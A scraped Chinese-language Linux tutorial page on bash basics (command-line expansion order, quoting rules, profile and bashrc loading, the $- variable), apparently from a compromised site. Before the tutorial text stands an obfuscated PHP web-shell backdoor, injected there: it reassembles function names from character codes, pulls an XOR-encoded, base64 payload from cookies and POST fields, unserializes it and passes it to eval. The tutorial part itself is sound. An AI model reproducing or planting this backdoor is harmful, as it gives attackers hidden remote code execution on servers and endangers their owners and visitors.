$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} shell编程基础二 | Linux运维部落

shell编程基础二

profile bashrc 混合命令行展开

1、bash如何展开命令行

 把命令行分成单个命令词
 展开别名
 展开大括号的声明({})
 展开波浪符声明(~)
 命令替换$() 和 ``)
 再次把命令行分成命令词
 展开文件通配(*、?、[abc]等等)
 准备I/0重导向(<、>)
 运行命令

由上到下顺序进行命令行展开

2、防止命令行扩展

 反斜线(\)会使随后的字符按原意解释
 $ echo Your cost: \$5.00
 Your cost: $5.00
 加引号来防止扩展
 • 单引号(’)防止所有扩展
 • 双引号(”)也防止所有扩展,但是以下情况例外:
 $(美元符号) - 变量扩展
 `(反引号) - 命令替换
 \(反斜线) - 禁止单个字符扩展
 !(叹号) - 历史命令替换

3、bash的配置文件:

/etc/profile
/etc/profile.d/*.sh
/etc/bashrc

个人配置:

~/.bash_profile
 ~/.bashrc

4、shell登录的两种方式

交互式登录

(1)直接通过终端输入账号密码登录
(2)使用“su - UserName” 切换的用户
执行顺序:/etc/profile --> /etc/profile.d/*.sh --> ~/.bash_profile --> ~/.bashrc --> /etc/bashrc

非交互式登录

(1)su UserName
(2)图形界面下打开的终端
(3)执行脚本
(4)任何其它的bash实例
 执行顺序: ~/.bashrc --> /etc/bashrc --> /etc/profile.d/*.sh

Profile类

profile类:为交互式登录的shell提供配置
全局:/etc/profile, /etc/profile.d/*.sh
个人:~/.bash_profile
功用:

(1)用于定义环境变量
(2)运行命令或脚本

bashrc类:为非交互式和交互式登录的shell提供配置
全局:/etc/bashrc
个人:~/.bashrc
功用:

 (1) 定义命令别名和函数
 (2) 定义本地变量

5、编辑配置文件立即生效

修改profile和bashrc文件后需生效 ,两种方法:

1 重新启动shell进程
2 .或source

例:
. ~/.bashrc
Bash 退出任务

保存在~/.bash_logout文件中(用户)
在退出登录shell时运行
用于
• 创建自动备份
• 清除临时文件

6、$-变量

 h:hashall,打开这个选项后,Shell 会将命令所在的路径hash下来,避免每次都要查询。通过set +h将h选项关闭
 i:interactive-comments,包含这个选项说明当前的 shell 是一个交互式的 shell。所谓的交互式shell,在脚本中,i选项是关闭的。
 m:monitor,打开监控模式,就可以通过Job control来控制进程的停止、继续,后台或者前台执行等。
 B:braceexpand,大括号扩展
 H:history,H选项打开,可以展开历史列表中的命令,可以通过!感叹号来完成,例如“!!”返回上最近的一个历史命令,“!n”返回第 n 个历史命令

本文来自投稿,不代表Linux运维部落立场,如若转载,请注明出处:http://www.178linux.com/95694

(0)
上一篇 2018-04-11 14:05
下一篇 2018-04-11 19:54

相关推荐

  • VIM编辑器用法大全

    文本编辑工具 语法:vim 参数 文件 文本编辑种类: 行编辑器:sed 全屏编辑器:nano,vi,vim – Vi Improved vim编辑器三大模式 编辑模式, 输入模式: 末行模式: 内置的命令行接口; 模式转换: 编辑模式 — > 输入模式 : i : 在光标所在处输入 a : 在光标所在处的后方输入 o : 在光…

    2018-04-08
  • Linux启动和内核管理

    系统启动和内核管理 Linux组成 Linux:kerne+rootfs(应用程序) kernel:进程管理、内存管理、网络管理、驱动程序、文件系统、安全功能 roots:程序和glibc 函数:相当于命令的集合 库:函数集合,function,调用接口(头文件负责描述) 过程调用:procedure,无返回值 函数调用:function 程序:二进制执行文…

    Linux笔记 2018-05-13
  • Linux命令行联系

    马哥第三周

    Linux笔记 2018-06-02
  • 追梦之路第七周修炼

    追梦之路第七周操作系统启动流程

    2018-08-06
  • 第三周作业20180528

    1、 列出登录用户 登录用户去重 2、 显示最后登录用户信息 3、 查看使用最多的SHELL 4、 5 6 7、 8、 9、 10、    

    2018-05-28
  • 进程管理工具及计划任务

    进程管理工具 kill命令: 向进程发送控制信号,以实现对进程管理,每个信号对应一个数字,信号名称以SIG开头 (可省略),不区分大小写 显示当前系统可用信号: kill –l,trap -l 常用信号:man 7 signal 1) SIGHUP: 无须关闭进程而让其重读配置文件 2) SIGINT: 中止正在运行的进程;相当于Ctrl+c 3) SIGQ…

    Linux笔记 2018-05-06